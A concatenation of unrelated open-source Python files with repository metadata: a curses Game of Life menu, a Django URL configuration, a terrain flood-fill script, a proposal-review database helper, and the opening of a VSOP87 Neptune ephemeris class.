stdscr.addnstr(dims[0]/2-selections*9/2+x*8+y, dims[1]/2-18*3/2, ornament2, 18*3, curses.A_REVERSE)
#}
#}
stdscr.addstr(dims[0]/2-selections*8/2+1, dims[1]/2-len(L[0])/2, L[0], curses.A_REVERSE)
#}
for a in range(0,selections):#{
for y in range(0,6):#{
stdscr.addstr(dims[0]/2-selections*9/2+3+y+a*8, dims[1]/2-16, ' ', curses.A_REVERSE)
stdscr.addstr(dims[0]/2-selections*9/2+3+y+a*8, dims[1]/2+16, ' ', curses.A_REVERSE)
#}
#}
for b in range(0,selections):#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8*b+1, dims[1]/2-13,'--- --- --- - - --- --- ---')
stdscr.addstr(dims[0]/2-selections*9/2+5+8*b-1, dims[1]/2-13,'--- --- --- - - --- --- ---')
stdscr.addstr(dims[0]/2-selections*9/2+5+8*b+1, dims[1]/2,'-', curses.color_pair(9))
stdscr.addstr(dims[0]/2-selections*9/2+5+8*b-1, dims[1]/2,'-', curses.color_pair(9))
#}
if selections == 1:#{
if pos1 == 1:#{
stdscr.addstr(dims[0]/2, dims[1]/2-13, ' - - - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' ')
#}
elif pos1 == 2:#{
stdscr.addstr(dims[0]/2, dims[1]/2-13, ' - - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' '+str(elemArray[0][4])+' ')
#}
elif pos1 == 3:#{
stdscr.addstr(dims[0]/2, dims[1]/2-13, ' - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' '+str(elemArray[0][4])+' '+str(elemArray[0][5])+' ')
#}
if pos1 == len(elemArray[0]):#{
stdscr.addstr(dims[0]/2, dims[1]/2-13, str(elemArray[0][pos1-3])+' '+str(elemArray[0][pos1-2])+' '+str(elemArray[0][pos1-1])+' '+str(elemArray[0][pos1])+' - - - ')
#}
elif pos1 == len(elemArray[0])-1:#{
stdscr.addstr(dims[0]/2, dims[1]/2-13, str(elemArray[0][pos1-3])+' '+str(elemArray[0][pos1-2])+' '+str(elemArray[0][pos1-1])+' '+str(elemArray[0][pos1])+' '+str(elemArray[0][pos1+1])+' - - ')
#}
elif pos1 == len(elemArray[0])-2:#{
stdscr.addstr(dims[0]/2, dims[1]/2-13, str(elemArray[0][pos1-3])+' '+str(elemArray[0][pos1-2])+' '+str(elemArray[0][pos1-1])+' '+str(elemArray[0][pos1])+' '+str(elemArray[0][pos1+1])+' '+str(elemArray[0][pos1+2])+' - ')
#}
#}
elif selections == 2:#{
if pos1 == 1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-13, ' - - - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' ')
#}
elif pos1 == 2:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-13, ' - - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' '+str(elemArray[0][4])+' ')
#}
elif pos1 == 3:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-13, ' - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' '+str(elemArray[0][4])+' '+str(elemArray[0][5])+' ')
#}
if pos2 == 1:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-13, ' - - - '+str(elemArray[1][0])+' '+str(elemArray[1][1])+' '+str(elemArray[1][2])+' '+str(elemArray[1][3])+' ')
#}
elif pos2 == 2:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-13, ' - - '+str(elemArray[1][0])+' '+str(elemArray[1][1])+' '+str(elemArray[1][2])+' '+str(elemArray[1][3])+' '+str(elemArray[1][4])+' ')
#}
elif pos2 == 3:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-13, ' - '+str(elemArray[1][0])+' '+str(elemArray[1][1])+' '+str(elemArray[1][2])+' '+str(elemArray[1][3])+' '+str(elemArray[1][4])+' '+str(elemArray[1][5])+' ')
#}
if pos1 == len(elemArray[0]):#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-13, str(elemArray[0][pos1-3])+' '+str(elemArray[0][pos1-2])+' '+str(elemArray[0][pos1-1])+' '+str(elemArray[0][pos1])+' - - - ')
#}
elif pos1 == len(elemArray[0])-1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-13, str(elemArray[0][pos1-3])+' '+str(elemArray[0][pos1-2])+' '+str(elemArray[0][pos1-1])+' '+str(elemArray[0][pos1])+' '+str(elemArray[0][pos1+1])+' - - ')
#}
elif pos1 == len(elemArray[0])-2:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-13, str(elemArray[0][pos1-3])+' '+str(elemArray[0][pos1-2])+' '+str(elemArray[0][pos1-1])+' '+str(elemArray[0][pos1])+' '+str(elemArray[0][pos1+1])+' '+str(elemArray[0][pos1+2])+' - ')
#}
if pos2 == len(elemArray[1]):#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-13, str(elemArray[1][pos2-3])+' '+str(elemArray[1][pos2-2])+' '+str(elemArray[1][pos2-1])+' '+str(elemArray[1][pos2])+' - - - ')
#}
elif pos2 == len(elemArray[1])-1:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-13, str(elemArray[1][pos2-3])+' '+str(elemArray[1][pos2-2])+' '+str(elemArray[1][pos2-1])+' '+str(elemArray[1][pos2])+' '+str(elemArray[1][pos2+1])+' - - ')
#}
elif pos2 == len(elemArray[1])-2:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-13, str(elemArray[1][pos2-3])+' '+str(elemArray[1][pos2-2])+' '+str(elemArray[1][pos2-1])+' '+str(elemArray[1][pos2])+' '+str(elemArray[1][pos2+1])+' '+str(elemArray[1][pos2+2])+' - ')
#}
#}
elif selections == 3:#{
if pos1 == 1:#{
stdscr.addstr(dims[0]/2-selections*9/2+5, dims[1]/2-13, ' - - - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' ')
#}
elif pos1 == 2:#{
stdscr.addstr(dims[0]/2-selections*9/2+5, dims[1]/2-13, ' - - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' '+str(elemArray[0][4])+' ')
#}
elif pos1 == 3:#{
stdscr.addstr(dims[0]/2-selections*9/2+5, dims[1]/2-13, ' - '+str(elemArray[0][0])+' '+str(elemArray[0][1])+' '+str(elemArray[0][2])+' '+str(elemArray[0][3])+' '+str(elemArray[0][4])+' '+str(elemArray[0][5])+' ')
#}
if pos2 == 1:#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8, dims[1]/2-13, ' - - - '+str(elemArray[1][0])+' '+str(elemArray[1][1])+' '+str(elemArray[1][2])+' '+str(elemArray[1][3])+' ')
#}
elif pos2 == 2:#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8, dims[1]/2-13, ' - - '+str(elemArray[1][0])+' '+str(elemArray[1][1])+' '+str(elemArray[1][2])+' '+str(elemArray[1][3])+' '+str(elemArray[1][4])+' ')
#}
elif pos2 == 3:#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8, dims[1]/2-13, ' - '+str(elemArray[1][0])+' '+str(elemArray[1][1])+' '+str(elemArray[1][2])+' '+str(elemArray[1][3])+' '+str(elemArray[1][4])+' '+str(elemArray[1][5])+' ')
#}
if pos3 == 1:#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8+8, dims[1]/2-13, ' - - - '+str(elemArray[2][0])+' '+str(elemArray[2][1])+' '+str(elemArray[2][2])+' '+str(elemArray[2][3])+' ')
#}
elif pos3 == 2:#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8+8, dims[1]/2-13, ' - - '+str(elemArray[2][0])+' '+str(elemArray[2][1])+' '+str(elemArray[2][2])+' '+str(elemArray[2][3])+' '+str(elemArray[2][4])+' ')
#}
elif pos3 == 3:#{
stdscr.addstr(dims[0]/2-selections*9/2+5+8+8, dims[1]/2-13, ' - '+str(elemArray[2][0])+' '+str(elemArray[2][1])+' '+str(elemArray[2][2])+' '+str(elemArray[2][3])+' '+str(elemArray[2][4])+' '+str(elemArray[2][5])+' ')
#}
if pos1 == len(elemArray[0]):#{
print '1'
#}
elif pos1 == len(elemArray[0])-1:#{
print '1'
#}
elif pos1 == len(elemArray[0])-2:#{
print '1'
#}
if pos2 == len(elemArray[1]):#{
print '1'
#}
elif pos2 == len(elemArray[1])-1:#{
print '1'
#}
elif pos2 == len(elemArray[1])-2:#{
print '1'
#}
if pos3 == len(elemArray[2]):#{
print '1'
#}
elif pos3 == len(elemArray[2])-1:#{
print '1'
#}
elif pos3 == len(elemArray[2])-2:#{
print '1'
#}
#}
elif selections == 4:#{
if pos1 == 1:#{
print '1'
#}
elif pos1 == 2:#{
print '1'
#}
elif pos1 == 3:#{
print '1'
#}
if pos2 == 1:#{
print '1'
#}
elif pos2 == 2:#{
print '1'
#}
elif pos2 == 3:#{
print '1'
#}
if pos3 == 1:#{
print '1'
#}
elif pos3 == 2:#{
print '1'
#}
elif pos3 == 3:#{
print '1'
#}
if pos4 == 1:#{
print '1'
#}
elif pos4 == 2:#{
print '1'
#}
elif pos4 == 3:#{
print '1'
#}
if pos1 == len(elemArray[0]):#{
print '1'
#}
elif pos1 == len(elemArray[0])-1:#{
print '1'
#}
elif pos1 == len(elemArray[0])-2:#{
print '1'
#}
if pos2 == len(elemArray[1]):#{
print '1'
#}
elif pos2 == len(elemArray[1])-1:#{
print '1'
#}
elif pos2 == len(elemArray[1])-2:#{
print '1'
#}
if pos3 == len(elemArray[2]):#{
print '1'
#}
elif pos3 == len(elemArray[2])-1:#{
print '1'
#}
elif pos3 == len(elemArray[2])-2:#{
print '1'
#}
if pos4 == len(elemArray[3]):#{
print '1'
#}
elif pos4 == len(elemArray[3])-1:#{
print '1'
#}
elif pos4 == len(elemArray[3])-2:#{
print '1'
#}
#}
input = stdscr.getch()
if input == curses.KEY_BACKSPACE:
stdscr.clear()
stdscr.refresh()
break
#}
#}
def numberSelector(stdscr, L, currPos):#{
if len(L) == 6:#{
pos = currPos[0]
subject = L[0]
numbers = int(L[6])-int(L[5])+1
dims = stdscr.getmaxyx()
while True:#{
for x in range(0,3):#{
stdscr.addnstr(dims[0]/2-5+x, dims[1]/2-18/2, ornament2, 18*3, curses.A_REVERSE)
stdscr.addnstr(dims[0]/2+3+x, dims[1]/2-18/2, ornament2, 18*3, curses.A_REVERSE)
#}
stdscr.addstr(dims[0]/2-4, dims[1]/2-len(L[0])/2, L[0], curses.A_REVERSE)
stdscr.addstr(dims[0]/2+1, dims[1]/2-9,'--- --- --- --- ---')
stdscr.addstr(dims[0]/2-1, dims[1]/2-9,'--- --- --- --- ---')
stdscr.addstr(dims[0]/2+1, dims[1]/2-1,'---', curses.color_pair(9))
stdscr.addstr(dims[0]/2-1, dims[1]/2-1,'---', curses.color_pair(9))
for y in range(0,6):#{
stdscr.addstr(dims[0]/2-2+y, dims[1]/2-13, ' ', curses.A_REVERSE)
stdscr.addstr(dims[0]/2-2+y, dims[1]/2+13, ' ', curses.A_REVERSE)
#}
if pos == int(L[5]):#{
stdscr.addstr(dims[0]/2, dims[1]/2-9, '--- --- '+' '+'---'+str(pos+1).rjust(3,'0')+' '+str(pos+2).rjust(3,'0'))
stdscr.addstr(dims[0]/2, dims[1]/2-1, str(pos).rjust(3,'0'), curses.color_pair(9))
#}
elif pos == int(L[5])+1:#{
stdscr.addstr(dims[0]/2, dims[1]/2-9, '--- '+str(pos-1).rjust(3,'0')+' '+'---'+' '+str(pos+1).rjust(3,'0')+' '+str(pos+2).rjust(3,'0'))
stdscr.addstr(dims[0]/2, dims[1]/2-1, str(pos).rjust(3,'0'), curses.color_pair(9))
#}
elif pos == int(L[6])-1:#{
stdscr.addstr(dims[0]/2, dims[1]/2-9, str(pos-2).rjust(3,'0')+' '+str(pos-1).rjust(3,'0')+' '+'---'+' '+str(pos+1).rjust(3,'0')+' ---')
stdscr.addstr(dims[0]/2, dims[1]/2-1, str(pos).rjust(3,'0'), curses.color_pair(9))
#}
elif pos == int(L[6]):#{
stdscr.addstr(dims[0]/2, dims[1]/2-9, str(pos-2).rjust(3,'0')+' '+str(pos-1).rjust(3,'0')+' '+'---'+' --- ---')
stdscr.addstr(dims[0]/2, dims[1]/2-1, str(pos).rjust(3,'0'), curses.color_pair(9))
#}
else:#{
stdscr.addstr(dims[0]/2, dims[1]/2-9, str(pos-2).rjust(3,'0')+' '+str(pos-1).rjust(3,'-')+' '+'---'+' '+str(pos+1).rjust(3,'0')+' '+str(pos+2).rjust(3,'0'))
stdscr.addstr(dims[0]/2, dims[1]/2-1, str(pos).rjust(3,'0'), curses.color_pair(9))
#}
stdscr.addstr(dims[0]/2+4, dims[1]/2-len('Press "h" for help')/2, 'Press "h" for help', curses.A_REVERSE)
input=stdscr.getch()
if input == curses.KEY_LEFT and pos > int(L[5]):#{
pos-=1
#}
elif input == curses.KEY_RIGHT and pos < int(L[6]):#{
pos+=1
#}
elif input == ord('h'):
stdscr.addstr(dims[0]-2, dims[1]/2-len(L[1])/2, L[1])
elif input == 10:#{
stdscr.clear()
stdscr.refresh()
return pos
break
#}
elif input == curses.KEY_BACKSPACE:#{
pos = -1
stdscr.clear()
stdscr.refresh()
return pos
break
#}
#}
elif len(L) == 8:#{
pos1 = currPos[0]
pos2 = currPos[1]
posv = 1
header = L[0]
numbers = int(L[7])-int(L[6])+1
dims = stdscr.getmaxyx()
while True:#{
for y in range(0,3):#{
for x in range(0,3):#{
stdscr.addnstr(dims[0]/2-9+x+8*y, dims[1]/2-18*3/2, ornament2, 18*3, curses.A_REVERSE)
#}
#}
stdscr.addstr(dims[0]/2-8, dims[1]/2-len(L[0])/2, L[0], curses.A_REVERSE)
for c in range (0,2):#{
stdscr.addstr(dims[0]/2-4+1+c*8, dims[1]/2-9,'--- --- --- --- ---')
stdscr.addstr(dims[0]/2-4-1+c*8, dims[1]/2-9,'--- --- --- --- ---')
if posv == 1 and c == 0:#{
stdscr.addstr(dims[0]/2-4+1+c*8, dims[1]/2-1,'---', curses.color_pair(9))
stdscr.addstr(dims[0]/2-4-1+c*8, dims[1]/2-1,'---', curses.color_pair(9))
#}
elif posv == 2 and c == 1:#{
stdscr.addstr(dims[0]/2-4+1+c*8, dims[1]/2-1,'---', curses.color_pair(9))
stdscr.addstr(dims[0]/2-4-1+c*8, dims[1]/2-1,'---', curses.color_pair(9))
#}
#}
for d in range(0,2):#{
for y in range(0,6):#{
stdscr.addstr(dims[0]/2-6+y+d*8, dims[1]/2-13, ' ', curses.A_REVERSE)
stdscr.addstr(dims[0]/2-6+y+d*8, dims[1]/2+13, ' ', curses.A_REVERSE)
#}
#}
if pos1 == int(L[4]):#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-9, '--- --- '+'---'+' '+str(pos1+1).rjust(3,'0')+' '+str(pos1+2).rjust(3,'0'))
if posv == 1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-1, str(pos1).rjust(3,'0'), curses.color_pair(9))
#}
#}
elif pos1 == int(L[4])+1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-9, '--- '+str(pos1-1).rjust(3,'0')+' '+'---'+' '+str(pos1+1).rjust(3,'0')+' '+str(pos1+2).rjust(3,'0'))
if posv == 1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-1, str(pos1).rjust(3,'0'), curses.color_pair(9))
#}
#}
elif pos1 == int(L[5])-1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-9, str(pos1-2).rjust(3,'0')+' '+str(pos1-1).rjust(3,'0')+' '+'---'+' '+str(pos1+1).rjust(3,'0')+' ---')
if posv == 1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-1, str(pos1).rjust(3,'0'), curses.color_pair(9))
#}
#}
elif pos1 == int(L[5]):#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-9, str(pos1-2).rjust(3,'0')+' '+str(pos1-1).rjust(3,'0')+' '+'---'+' --- ---')
if posv == 1:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-1, str(pos1).rjust(3,'0'), curses.color_pair(9))
#}
#}
else:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-9, str(pos1-2).rjust(3,'0')+' '+str(pos1-1).rjust(3,'0')+' '+'---'+' '+str(pos1+1).rjust(3,'0')+' '+str(pos1+2).rjust(3,'0'))
if posv == 1:
stdscr.addstr(dims[0]/2-4, dims[1]/2-1, str(pos1).rjust(3,'0'), curses.color_pair(9))
#}
#}
if pos2 == int(L[6]):#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-9, '--- --- '+'---'+' '+str(pos2+1).rjust(3,'0')+' '+str(pos2+2).rjust(3,'0'))
if posv == 2:
stdscr.addstr(dims[0]/2+4, dims[1]/2-1, str(pos2).rjust(3,'0'), curses.color_pair(9))
#}
#}
elif pos2 == int(L[6])+1:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-9, '--- '+str(pos2-1).rjust(3,'0')+' '+'---'+' '+str(pos2+1).rjust(3,'0')+' '+str(pos2+2).rjust(3,'0'))
if posv == 2:
stdscr.addstr(dims[0]/2+4, dims[1]/2-1, str(pos2).rjust(3,'0'), curses.color_pair(9))
#}
#}
elif pos2 == int(L[7])-1:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-9, str(pos2-2).rjust(3,'0')+' '+str(pos2-1).rjust(3,'0')+' '+'---'+' '+str(pos2+1).rjust(3,'0')+' ---')
if posv == 2:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-1, str(pos2).rjust(3,'0'), curses.color_pair(9))
#}
#}
elif pos2 == int(L[7]):#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-9, str(pos2-2).rjust(3,'0')+' '+str(pos2-1).rjust(3,'0')+' '+'---'+' --- ---')
if posv == 2:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-1, str(pos2).rjust(3,'0'), curses.color_pair(9))
#}
#}
else:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-9, str(pos2-2).rjust(3,'0')+' '+str(pos2-1).rjust(3,'0')+' '+'---'+' '+str(pos2+1).rjust(3,'0')+' '+str(pos2+2).rjust(3,'0'))
if posv == 2:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-1, str(pos2).rjust(3,'0'), curses.color_pair(9))
#}
#}
if posv == 1:#{
stdscr.addstr(dims[0]/2+4, dims[1]/2-1, str(pos2).rjust(3,'0'))
#}
elif posv == 2:#{
stdscr.addstr(dims[0]/2-4, dims[1]/2-1, str(pos1).rjust(3,'0'))
#}
stdscr.addstr(dims[0]/2+8, dims[1]/2-len('Press "h" for help')/2, 'Press "h" for help', curses.A_REVERSE)
input=stdscr.getch()
if input == curses.KEY_LEFT and pos1 > int(L[4]) and posv == 1:#{
pos1-=1
#}
elif input == curses.KEY_RIGHT and pos1 < int(L[5]) and posv == 1:#{
pos1+=1
#}
if input == curses.KEY_LEFT and pos2 > int(L[6]) and posv == 2:#{
pos2-=1
#}
elif input == curses.KEY_RIGHT and pos2 < int(L[7]) and posv == 2:#{
pos2+=1
#}
if input == curses.KEY_UP and posv == 2:#{
posv-=1
#}
elif input == curses.KEY_DOWN and posv == 1:#{
posv+=1
#}
elif input == ord('h'):
stdscr.addstr(dims[0]-2, dims[1]/2-len(L[1])/2, L[1])
elif input == 10:#{
pos = [pos1,pos2]
stdscr.clear()
stdscr.refresh()
return pos
break
#}
elif input == curses.KEY_BACKSPACE:#{
pos = [-1,-1]
stdscr.clear()
stdscr.refresh()
return pos
break
#}
#}
#}
gamemenu=['GAME OF LIFE','Arrows to select. Enter to submit. Exit with backspace','Start the Game','Settings','Exit']
optionsmenu=['SETTINGS','Arrows to select. Enter to submit. Exit with backspace', 'Board dimensions', 'Cell graphics', 'Rules']
initgame=['GAMEMODE', 'Arrows to select. Enter to submit. Exit with backspace', 'Custom start', 'Select an example']
samples=['LIST OF SAMPLES','Arrows to select. Enter to submit. Exit with backspace', 'Pentadecathlon (repeats after 15 steps)', 'Pulsar (repeats after 3 steps)', 'Lightweight spaceship (LWSS, repeats never)', 'Blinker (repeats after 2 steps)', 'Toad (repeats after 2 steps)']
sizeselector=['SELECT THE SIZE OF LIFE', 'Arrows to select. Enter to submit. Exit with backspace', 'OK', 'CANCEL',]
charselector=['PUT SOME MAKEUP ON DEM CELLS','Arrows to select. Enter to submit. Cancel wih backspace','Alive cells','Dead cells']
elemArray=[['+','-','*','/','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0','?','!','<','>'],['O','0','o','D','C','G']]
rules=['RULES','Keys 1-3 for rules 1-3. Cancel with "Backspace"','Original rules','Rule 2','Rule 3']
ornament1='======================================================================================================='
ornament2=' '
ornament3='-------------------------------------------------------------------------------------------------------'
if __name__ == '__main__':#{
wrapper(main)
#}
|
OliGon/pycurse
|
Version-0.1/Curses-GoL-0.9.py
|
Python
|
mit
| 28,137
|
# -*- coding: utf-8 -*-
__author__ = 'Sergey Efimov'
|
serefimov/billboards
|
billboards/boards/parsing/__init__.py
|
Python
|
mit
| 57
|
from django.conf.urls import url, include
from django.conf import settings
from paying_for_college.views import LandingView
from django.contrib import admin
# from django.conf.urls.static import static
urlpatterns = [
# url(r'^admin/', include(admin.site.urls)),
url(r'^$',
LandingView.as_view(), name='pfc-landing'),
url(r'^compare-financial-aid-and-college-cost/',
include('paying_for_college.disclosures.urls', namespace='disclosures')),
url(r'^repay-student-debt/',
include('paying_for_college.debt.urls', namespace='debt')),
url(r'^guides/',
include('paying_for_college.guides.urls', namespace='guides')),
]
# if settings.DEBUG:
# urlpatterns += static(settings.STATIC_URL,
# document_root=settings.STATIC_ROOT)
|
ascott1/college-costs
|
paying_for_college/config/urls.py
|
Python
|
cc0-1.0
| 801
|
"""
Crawls a terrain raster from a starting
point and "floods" everything at the same
or lower elevation by producing a mask
image of 1,0 values.
"""
import numpy as np
from linecache import getline
def floodFill(c,r,mask):
"""
Crawls a mask array containing
only 1 and 0 values from the
starting point (c=column,
r=row - a.k.a. x,y) and returns
an array with all 1 values
connected to the starting cell.
This algorithm performs a 4-way
check non-recursively.
"""
# cells already filled
filled = set()
# cells to fill
fill = set()
fill.add((c,r))
width = mask.shape[1]-1
height = mask.shape[0]-1
# Our output inundation array
flood = np.zeros_like(mask, dtype=np.int8)
# Loop through and modify the cells which
# need to be checked.
while fill:
# Grab a cell
x,y = fill.pop()
if y == height or x == width or x < 0 or y < 0:
# Don't fill
continue
if mask[y][x] == 1:
# Do fill
flood[y][x]=1
filled.add((x,y))
# Check neighbors for 1 values
west =(x-1,y)
east = (x+1,y)
north = (x,y-1)
south = (x,y+1)
if not west in filled:
fill.add(west)
if not east in filled:
fill.add(east)
if not north in filled:
fill.add(north)
if not south in filled:
fill.add(south)
return flood
source = "terrain.asc"
target = "flood.asc"
print "Opening image..."
img = np.loadtxt(source, skiprows=6)
print "Image opened"
a = np.where(img<70, 1,0)
print "Image masked"
# Parse the headr using a loop and
# the built-in linecache module
hdr = [getline(source, i) for i in range(1,7)]
values = [float(h.split(" ")[-1].strip()) for h in hdr]
cols,rows,lx,ly,cell,nd = values
xres = cell
yres = cell * -1
# Starting point for the
# flood inundation
sx = 2582
sy = 2057
print "Beginning flood fill"
fld = floodFill(sx,sy, a)
print "Finished Flood fill"
header=""
for i in range(6):
header += hdr[i]
print "Saving grid"
# Open the output file, add the hdr, save the array
with open(target, "wb") as f:
f.write(header)
np.savetxt(f, fld, fmt="%1i")
print "Done!"
|
nchaparr/Geospatial-Analysis-with-Python
|
1138_08_03-flood-fill.py
|
Python
|
cc0-1.0
| 2,243
|
"""Builder for Current and Pending Reports."""
import datetime as dt
import sys
import time
from argparse import RawTextHelpFormatter
import nameparser
from regolith.helpers.basehelper import SoutHelperBase, DbHelperBase
from regolith.dates import month_to_int, month_to_str_int
from regolith.fsclient import _id_key
from regolith.sorters import position_key
from regolith.tools import (
all_docs_from_collection,
filter_grants,
fuzzy_retrieval,
)
ALLOWED_TYPES = ["nsf", "doe", "other"]
ALLOWED_STATI = ["invited", "accepted", "declined", "downloaded", "inprogress",
"submitted", "cancelled"]
def subparser(subpi):
subpi.add_argument("name", help="pi first name space last name in quotes",
default=None)
subpi.add_argument("type", help=f"{ALLOWED_TYPES}", default=None)
subpi.add_argument("due_date", help="due date in form YYYY-MM-DD")
subpi.add_argument("-d", "--database",
help="The database that will be updated. Defaults to "
"first database in the regolithrc.json file."
)
subpi.add_argument("-q", "--requester",
help="Name of the Program officer requesting"
)
subpi.add_argument("-r", "--reviewer",
help="name of the reviewer. Defaults to sbillinge")
subpi.add_argument("-s", "--status",
help=f"status, from {ALLOWED_STATI}. default is accepted")
subpi.add_argument("-t", "--title",
help="the title of the proposal")
return subpi
class PropRevAdderHelper(DbHelperBase):
"""Build a helper"""
btype = "a_proprev"
needed_dbs = ['proposalReviews']
def construct_global_ctx(self):
"""Constructs the global context"""
super().construct_global_ctx()
gtx = self.gtx
rc = self.rc
if not rc.database:
rc.database = rc.databases[0]["name"]
rc.coll = "proposalReviews"
gtx["proposalReviews"] = sorted(
all_docs_from_collection(rc.client, "proposalReviews"), key=_id_key
)
gtx["all_docs_from_collection"] = all_docs_from_collection
gtx["float"] = float
gtx["str"] = str
gtx["zip"] = zip
def db_updater(self):
rc = self.rc
name = nameparser.HumanName(rc.name)
month = dt.datetime.today().month
year = dt.datetime.today().year
key = "{}{}_{}_{}".format(
str(year)[-2:], month_to_str_int(month), name.last.casefold(),
name.first.casefold().strip("."))
coll = self.gtx[rc.coll]
pdocl = list(filter(lambda doc: doc["_id"] == key, coll))
if len(pdocl) > 0:
sys.exit("This entry appears to already exist in the collection")
else:
pdoc = {}
pdoc.update({'adequacy_of_resources': [
'The resources available to the PI seem adequate'],
'agency': rc.type,
'competency_of_team': [],
'doe_appropriateness_of_approach': [],
'doe_reasonableness_of_budget': [],
'doe_relevance_to_program_mission': [],
'does_how': [],
'does_what': '',
'due_date': rc.due_date,
'freewrite': [],
'goals': [],
'importance': [],
'institutions': [],
'month': 'tbd',
'names': name.full_name,
'nsf_broader_impacts': [],
'nsf_create_original_transformative': [],
'nsf_plan_good': [],
'nsf_pot_to_advance_knowledge': [],
'nsf_pot_to_benefit_society': [],
'status': 'accepted',
'summary': '',
'year': 2020
})
if rc.title:
pdoc.update({'title': rc.title})
else:
pdoc.update({'title': ''})
if rc.requester:
pdoc.update({'requester': rc.requester})
else:
pdoc.update({'requester': ''})
if rc.reviewer:
pdoc.update({'reviewer': rc.reviewer})
else:
pdoc.update({'reviewer': 'sbillinge'})
if rc.status:
if rc.status not in ALLOWED_STATI:
raise ValueError(
"status should be one of {}".format(ALLOWED_STATI))
else:
pdoc.update({'status': rc.status})
else:
pdoc.update({'status': 'accepted'})
pdoc.update({"_id": key})
rc.client.insert_one(rc.database, rc.coll, pdoc)
print("{} proposal has been added/updated in proposal reviews".format(
rc.name))
return
|
scopatz/regolith
|
regolith/helpers/a_proprevhelper.py
|
Python
|
cc0-1.0
| 4,818
|
import math
class Neptune:
"""
NEPTUNE - VSOP87 Series Version C
HELIOCENTRIC DYNAMICAL ECLIPTIC AND EQUINOX OF THE DATE
Rectangular (X,Y,Z) Coordinates in AU (Astronomical Units)
Series Validity Span: 4000 BC < Date < 8000 AD
Theoretical accuracy over span: +-1 arc sec
R*R = X*X + Y*Y + Z*Z
t = (JD - 2451545) / 365250
C++ Programming Language
VSOP87 Functions Source Code
Generated By The VSOP87 Source Code Generator Tool
(c) Jay Tanner 2015
Ref:
Planetary Theories in Rectangular and Spherical Variables
VSOP87 Solutions
Pierre Bretagnon, Gerard Francou
Journal of Astronomy & Astrophysics
vol. 202, p309-p315
1988
Source code provided under the provisions of the
GNU General Public License (GPL), version 3.
http://www.gnu.org/licenses/gpl.html
"""
def __init__(self, t):
self.t = t
def calculate(self):
# Neptune_X0 (t) // 821 terms of order 0
X0 = 0
X0 += 30.05973100580 * math.cos(5.31188633083 + 38.3768531213 * self.t)
X0 += 0.40567587218 * math.cos(3.98149970131 + 0.2438174835 * self.t)
X0 += 0.13506026414 * math.cos(3.50055820972 + 76.50988875911 * self.t)
X0 += 0.15716341901 * math.cos(0.11310077968 + 36.892380413 * self.t)
X0 += 0.14935642614 * math.cos(1.08477702063 + 39.86132582961 * self.t)
X0 += 0.02590782232 * math.cos(1.99609768221 + 1.7282901918 * self.t)
X0 += 0.01073890204 * math.cos(5.38477153556 + 75.0254160508 * self.t)
X0 += 0.00816388197 * math.cos(0.78185518038 + 3.21276290011 * self.t)
X0 += 0.00702768075 * math.cos(1.45363642119 + 35.40790770471 * self.t)
X0 += 0.00687594822 * math.cos(0.72075739344 + 37.88921815429 * self.t)
X0 += 0.00565555652 * math.cos(5.98943773879 + 41.3457985379 * self.t)
X0 += 0.00495650075 * math.cos(0.59957534348 + 529.9347825781 * self.t)
X0 += 0.00306025380 * math.cos(0.39916788140 + 73.5409433425 * self.t)
X0 += 0.00272446904 * math.cos(0.87404115637 + 213.5429129215 * self.t)
X0 += 0.00135892298 * math.cos(5.54654979922 + 77.9943614674 * self.t)
X0 += 0.00122117697 * math.cos(1.30863876781 + 34.9202727377 * self.t)
X0 += 0.00090968285 * math.cos(1.68886748674 + 114.6429243969 * self.t)
